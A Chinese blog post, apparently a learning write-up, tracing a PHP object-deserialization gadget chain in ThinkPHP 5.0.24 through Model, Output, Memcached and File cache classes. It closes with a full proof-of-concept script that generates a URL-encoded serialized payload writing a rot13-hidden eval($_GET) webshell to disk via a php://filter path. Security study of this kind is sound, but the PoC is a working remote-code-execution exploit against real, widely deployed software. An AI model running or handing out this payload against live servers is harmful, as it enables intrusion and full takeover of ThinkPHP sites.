江鸟's Blog

TP v5.0.24 反序列化链学习

字数统计: 1.6k阅读时长: 7 min
2021/02/08 Share

菜鸟第一次TP反序列化复现,dalao不要喷我了,不过我也没有开启评论功能。

TP v5.0.24 反序列化链

学习一下tp系列的反序列化挖掘过程

环境:

1
2
3
topthink v5.0.24
PHP Version 5.6.40
Apache

前要知识点

__destruct: PHP5引入了析构方法的概念,这类似于其它面向对象的语言,如C++,析构方法会在当某个对象的所有引用都被删除或者当对象被显式销毁时执行。实际上,当PHP脚本运行结束之前,所有的变量都会被销毁,因此析构方法在类被反序列化并实例化后必然会被调用。

__toString:当一个对象被当作字符串对待的时候,会触发这个魔术方法。而当file_exists处理时,$filename被当做了字符串,因此如果$filename为类对象的话,此处可以触发该类的__toString方法。

pop链

开始

反序列化起点:thinkphp/library/think/process/pipes/Windows.php removeFiles方法

image-20210208203212691

file_exists方法能够触发__toString魔术方法

image-20210208203323673

我们需要利用__toString做跳板,找到了Model抽象类

因为Model是抽象类 不能直接定义所以我们需要找到他的子类

找到了Pivot子类,后面写poc会用到

跳板利用点:thinkphp/library/think/Model.php

Model抽象类__toString

image-20210208203553708

__toString方法,这里调用了toJson方法。

image-20210208203611675

1
2
3
4
接着调用了toArray方法,主要是将该对象转成JSON字符串,跟进到toArray方法。此时$this->append为类属性可控,则$key、$name可控,我们需要寻找到类似$可控对象->方法($可控参数)的调用链

找到这个
$item[$key] = $value ? $value->getAttr($attr) : null;

分析下如何达到该行代码

需要的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$relation = Loader::parseName($name, 1, false);//字符串命名风格转换 可控
$modelRelation = $this->$relation();
//这行代码用通俗的话来讲就是 把$modelRelation 赋值为 \think\Model 类任意方法的返回结果

来看这个代码
/**
* 返回模型的错误信息
* @access public
* @return string|array
*/
public function getError()
{
return $this->error;
}
如果$relation = getError 的话 那么我们就做到了真正可控

$value = $this->getRelationData($modelRelation);

image-20210215124942546

来看这一行$value = $this->getRelationData($modelRelation);

跟进

image-20210215125929876

如果我们进入第一个 if ,函数就直接返回 $this->parent

跟进isSelfRelation(),发现返回值可控,条件可以满足

image-20210215130141756

下一个条件是get_class($modelRelation->getModel()) == get_class($this->parent)

跟进getModel()

1
2
3
4
5
6
thinkphp/library/think/model/Relation.php

public function getModel()
{
return $this->query->getModel();
}

下一个getModel() 可控

1
2
3
4
5
6
7
8
9
10
11
thinkphp/library/think/db/Query.php

/**
* 获取当前的模型对象实例
* @access public
* @return Model|null
*/
public function getModel()
{
return $this->model;
}

\think\Model \think\Model 类中: query =new think\db\Query() ,
然后 \think\db\Query 类中: model = \think\Model 类中的 parent 就行了,这样就可以满足if 的判断条件了

回到toArray()中

来看if判断吧

第一个:if (method_exists($modelRelation, 'getBindAttr'))

需要$modelRelations 中 含有 getBindAttr() 方法,我们在 Relation 类中搜索 getBindAttr() 方法没有找到,所以需要去子类找,寻找继承了Relation类并且存在getBindAttr() 方法的类。

只有这一个

thinkphp/library/think/model/relation/OneToOne.php 可控

1
2
3
4
public function getBindAttr()
{
return $this->bindAttr;
}

OneToOne是一个抽象类 我们找到继承了OneToOne 的类 HasOne类

至此代码执行到$item[$key] = $value ? $value->getAttr($attr) : null;就能够执行Output类__call魔术方法

跟进Output类block方法

1
2
3
4
protected function block($style, $message)
{
$this->writeln("<{$style}>{$message}</$style>");
}

继续跟进writelin方法,最后会调用write方法

这里$this->handle可控,全局搜索write方法,进一步利用

image-20210215131715482

定位到:thinkphp/library/think/session/driver/Memcached.php

类: Memcached

image-20210215131909992

继续搜索可用set方法

定位到:thinkphp/library/think/cache/driver/File.php

类:File

image-20210215132058506

跟进getCacheKey 发现$filename可控

image-20210215132222195

$data值比较棘手,这里有个坑,由于最后调用set方法中的参数来自先前调用的write方法只能为true

继续执行,跟进下方的setTagItem方法

image-20210215132517299

会再执行一次set方法,且这里文件内容$value通过$name赋值(文件名)

所以可以在文件名上做手脚

注意 $data中有exit(); 所以我们需要绕过image-20210215132623083

可以使用伪协议 如下

1
php://filter/write=string.rot13/resource=./<?cuc cucvasb();?>

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
<?php
namespace think\process\pipes {
class Windows {
private $files = [];

public function __construct($files)
{
$this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类
}
}
}

namespace think {
abstract class Model{
protected $append = [];
protected $error = null;
public $parent;

function __construct($output, $modelRelation)
{
$this->parent = $output; //$this->parent=> think\console\Output;
$this->append = array("xxx"=>"getError"); //调用getError 返回this->error
$this->error = $modelRelation; // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne
}
}
}

namespace think\model{
use think\Model;
class Pivot extends Model{
function __construct($output, $modelRelation)
{
parent::__construct($output, $modelRelation);
}
}
}

namespace think\model\relation{
class HasOne extends OneToOne {

}
}
namespace think\model\relation {
abstract class OneToOne
{
protected $selfRelation;
protected $bindAttr = [];
protected $query;
function __construct($query)
{
$this->selfRelation = 0;
$this->query = $query; //$query指向Query
$this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量
}
}
}

namespace think\db {
class Query {
protected $model;

function __construct($model)
{
$this->model = $model; //$this->model=> think\console\Output;
}
}
}
namespace think\console{
class Output{
private $handle;
protected $styles;
function __construct($handle)
{
$this->styles = ['getAttr'];
$this->handle =$handle; //$handle->think\session\driver\Memcached
}

}
}
namespace think\session\driver {
class Memcached
{
protected $handler;

function __construct($handle)
{
$this->handler = $handle; //$handle->think\cache\driver\File
}
}
}

namespace think\cache\driver {
class File
{
protected $options=null;
protected $tag;

function __construct(){
$this->options=[
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/write=string.rot13/resource=<?cuc @riny($_TRG[_]);?>',
'data_compress' => false,
];
$this->tag = 'xxx';
}

}
}

namespace {
$Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
$Output = new think\console\Output($Memcached);
$model = new think\db\Query($Output);
$HasOne = new think\model\relation\HasOne($model);
$window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));
echo urlencode(serialize($window));
}

参考:

https://www.anquanke.com/post/id/196364

CATALOG
  1. 1. TP v5.0.24 反序列化链
    1. 1.1. 前要知识点
    2. 1.2. pop链
    3. 1.3. poc